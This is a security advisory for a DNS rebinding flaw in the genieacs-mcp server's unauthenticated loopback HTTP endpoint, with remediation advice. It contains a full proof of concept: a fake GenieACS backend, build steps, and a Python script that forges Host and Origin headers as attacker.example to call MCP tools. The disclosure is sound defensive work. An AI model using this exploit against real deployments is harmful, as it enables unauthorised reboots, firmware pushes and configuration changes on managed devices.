PT-2026-81993 · Go · Github.Com/Geiserx/Genieacs-Mcp

Publicado

2026-08-25

·

Atualizado

2026-08-25

CVSS v4.0

8.8

Alta

VetorAV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
genieacs-mcp exposes a local Streamable HTTP MCP endpoint that accepts attacker-controlled Host and Origin headers. A malicious web page can use DNS rebinding to route browser requests to a victim's loopback MCP listener while preserving the attacker origin. The server accepts the request, initializes an MCP session, lists GenieACS tools, and can invoke tools against the configured GenieACS NBI without a browser-supplied secret.
The affected package is genieacs-mcp version 0.3.1 at commit 4d7d3c74740efb7f3833aadc8a8e9177650eb462.
The vulnerable transport setup is in cmd/server/main.go. When TRANSPORT is not stdio, the server creates a Streamable HTTP MCP handler:
go
// cmd/server/main.go:92
httpSrv := server.NewStreamableHTTPServer(s)
addr := os.Getenv("MCP LISTEN ADDR")
if addr == "" {
  addr = "127.0.0.1:8080"
}
authToken := os.Getenv("MCP AUTH TOKEN")
if authToken == "" && !isLoopbackAddr(addr) {
  log.Fatal("MCP AUTH TOKEN is required when MCP LISTEN ADDR is not loopback")
}
if authToken != "" {
  mux := http.NewServeMux()
  mux.Handle("/mcp", bearerAuth(httpSrv, authToken))
  log.Printf("GenieACS MCP bridge listening on %s (auth enabled)", addr)
  if err := http.ListenAndServe(addr, mux); err != nil {
    log.Fatalf("server error: %v", err)
  }
} else {
  log.Printf("GenieACS MCP bridge listening on %s", addr)
  if err := httpSrv.Start(addr); err != nil {
    log.Fatalf("server error: %v", err)
  }
}
For the default loopback listener, MCP AUTH TOKEN is not required. The unauthenticated branch calls httpSrv.Start(addr) directly. There is no middleware or MCP transport configuration that validates Host or Origin before /mcp handles the request.
The README documents loopback HTTP as the default deployment mode and says MCP AUTH TOKEN is required only when MCP LISTEN ADDR is non-loopback:
text
TRANSPORT: empty = HTTP
MCP LISTEN ADDR: 127.0.0.1:8080
MCP AUTH TOKEN: empty, required when MCP LISTEN ADDR is non-loopback
That leaves the browser-origin boundary as the missing control. DNS rebinding is designed to reach loopback listeners from a public web page unless the local server rejects attacker-controlled Host and Origin values.

Proof of concept

The following reproduction uses a fake GenieACS NBI with planted CPE data. It proves that attacker-shaped browser-origin headers reach the real MCP handler and that an MCP tool call reaches the configured GenieACS backend.
Start a fake GenieACS NBI:
bash
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
import json
import urllib.parse

DEVICE ID = "00236A-FAKE-CPE-PWNED"

class Handler(BaseHTTPRequestHandler):
  def json(self, value, status=200):
    data = json.dumps(value, indent=2).encode()
    self.send response(status)
    self.send header("Content-Type", "application/json")
    self.send header("Content-Length", str(len(data)))
    self.end headers()
    self.wfile.write(data)

  def do GET(self):
    print("FAKE ACS GET", self.path, dict(self.headers), flush=True)
    parsed = urllib.parse.urlparse(self.path)
    if parsed.path.rstrip("/") == "/devices":
      self. json([{
        " id": DEVICE ID,
        " tags": ["poc-owned"],
        "Device": {
          "DeviceInfo": {
            "SoftwareVersion": {" value": "PLANTED-FAKE-FIRMWARE-9.9.9"},
            "SerialNumber": {" value": "PLUTO-FAKE-CPE-0001"}
          },
          "ManagementServer": {
            "URL": {" value": "https://acs-control.example.invalid/cwmp"}
          }
        }
      }])
      return
    self. json({"error": "not found"}, 404)

  def log message(self, fmt, *args):
    return

ThreadingHTTPServer(("127.0.0.1", 18083), Handler).serve forever()
PY
In a second terminal, run the affected MCP server:
bash
git clone https://github.com/GeiserX/genieacs-mcp.git
cd genieacs-mcp
git checkout 4d7d3c74740efb7f3833aadc8a8e9177650eb462

GOCACHE=/tmp/genieacs mcp gocache 
GOPATH=/tmp/genieacs mcp gopath 
go build -o /tmp/genieacs-mcp ./cmd/server

ACS URL=http://127.0.0.1:18083 
MCP LISTEN ADDR=127.0.0.1:8083 
/tmp/genieacs-mcp
In a third terminal, send MCP requests with forged browser-origin headers:
bash
python3 - <<'PY'
import http.client
import json

PORT = 8083
PROTO = "2024-11-05"
ATTACKER HOST = f"attacker.example:{PORT}"

def parse rpc(text):
  text = (text or "").strip()
  if text.startswith("{") or text.startswith("["):
    return [json.loads(text)]
  out = []
  for line in text.splitlines():
    line = line.strip()
    if line.startswith("data:"):
      data = line[5:].strip()
      if data and data != "[DONE]":
        out.append(json.loads(data))
  return out

sid = None

def rpc(body):
  global sid
  headers = {
    "Host": ATTACKER HOST,
    "Origin": "http://" + ATTACKER HOST,
    "Content-Type": "application/json",
    "Accept": "application/json, text/event-stream",
  }
  if sid:
    headers["Mcp-Session-Id"] = sid
    headers["MCP-Protocol-Version"] = PROTO
  conn = http.client.HTTPConnection("127.0.0.1", PORT, timeout=10)
  conn.request("POST", "/mcp", json.dumps(body), headers)
  res = conn.getresponse()
  raw headers = dict(res.getheaders())
  if raw headers.get("Mcp-Session-Id"):
    sid = raw headers["Mcp-Session-Id"]
  text = res.read().decode("utf-8", "replace")
  conn.close()
  return res.status, parse rpc(text), text

init status, init msgs, init raw = rpc({
  "jsonrpc": "2.0",
  "id": 1,
  "method": "initialize",
  "params": {
    "protocolVersion": PROTO,
    "capabilities": {},
    "clientInfo": {"name": "genieacs-rebind-check", "version": "1"}
  }
})

notify status, ,  = rpc({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}})

tools status, tools msgs, tools raw = rpc({
  "jsonrpc": "2.0",
  "id": 2,
  "method": "tools/list",
  "params": {}
})

call status, call msgs, call raw = rpc({
  "jsonrpc": "2.0",
  "id": 3,
  "method": "tools/call",
  "params": {
    "name": "get parameter",
    "arguments": {
      "device id": "00236A-FAKE-CPE-PWNED",
      "parameter path": "Device.DeviceInfo.SoftwareVersion,Device.ManagementServer.URL"
    }
  }
})

print("initialize status", init status)
print("session created", bool(sid))
print("initialized notification status", notify status)
print("tools list status", tools status)
print(tools raw[:1200])
print("get parameter status", call status)
print(call raw)
PY
The MCP request uses attacker-controlled browser-origin headers and no Authorization header:
http
POST /mcp HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Content-Type: application/json
Accept: application/json, text/event-stream

{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"genieacs-rebind-check","version":"1"}}}
Observed output:
text
initialize status 200
session created True
initialized notification status 202
tools list status 200
tools/list returns 12 tools, including:
text
connection request
delete task
download firmware
get parameter
manage preset
manage provision
reboot device
refresh parameter
retry task
search devices
set parameter
tag device
The get parameter tool call reaches the fake GenieACS NBI and returns the planted marker:
text
Cached parameter values: [
 {
  " id": "00236A-FAKE-CPE-PWNED",
  " tags": [
   "poc-owned"
  ],
  "Device": {
   "DeviceInfo": {
    "SoftwareVersion": {
     " value": "PLANTED-FAKE-FIRMWARE-9.9.9"
    },
    "SerialNumber": {
     " value": "PLUTO-FAKE-CPE-0001"
    }
   },
   "ManagementServer": {
    "URL": {
     " value": "https://acs-control.example.invalid/cwmp"
    }
   }
  }
 }
]
The fake GenieACS NBI also records the backend request from the MCP server:
text
FAKE ACS GET /devices/?projection=Device.DeviceInfo.SoftwareVersion%2CDevice.ManagementServer.URL&query=%7B%22 id%22%3A%2200236A-FAKE-CPE-PWNED%22%7D

Impact

A malicious website can control a victim's local genieacs-mcp HTTP server when the victim runs the documented default loopback HTTP mode. The page can initialize MCP, list available tools, and invoke GenieACS operations through the server's configured ACS URL.
In a real deployment, this can expose or modify CPE management state through GenieACS. The exposed tools include device reboot, firmware download task creation, TR-069 parameter changes, preset and provision management, tag changes, connection requests, task deletion, and task retry. Those actions execute with the MCP server's configured GenieACS access.

Why this is a vulnerability, not intended behavior

  • The project treats loopback HTTP as a safety boundary. The README documents 127.0.0.1:8080 as the default HTTP listen address and requires MCP AUTH TOKEN only for non-loopback listeners.
  • DNS rebinding bypasses the loopback-only assumption unless the local HTTP server validates Host and Origin.
  • PR #22 added bearer authentication for non-loopback listeners. It explicitly left loopback listeners unauthenticated for compatibility. That protects direct non-loopback exposure, but it does not protect the browser-origin path into a loopback listener.
  • A local trusted MCP client is the intended caller. A public web page is not.

Remediation

Add Host and Origin validation before the MCP handler accepts any request. For the default loopback mode, allow only local values such as:
text
Host: 127.0.0.1:8080
Host: localhost:8080
Origin: http://127.0.0.1:8080
Origin: http://localhost:8080
Reject unexpected Host or Origin values before MCP initialization. Treat absent or non-local Origin on browser-reachable requests as suspicious unless the request is authenticated.
Also require a bearer token for HTTP transport even on loopback, or make stdio the default transport and require an explicit opt-in for unauthenticated loopback HTTP.

Correção

Origin Validation Error

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

GHSA-CMWV-WF9P-P8WX

Produtos afetados

Github.Com/Geiserx/Genieacs-Mcp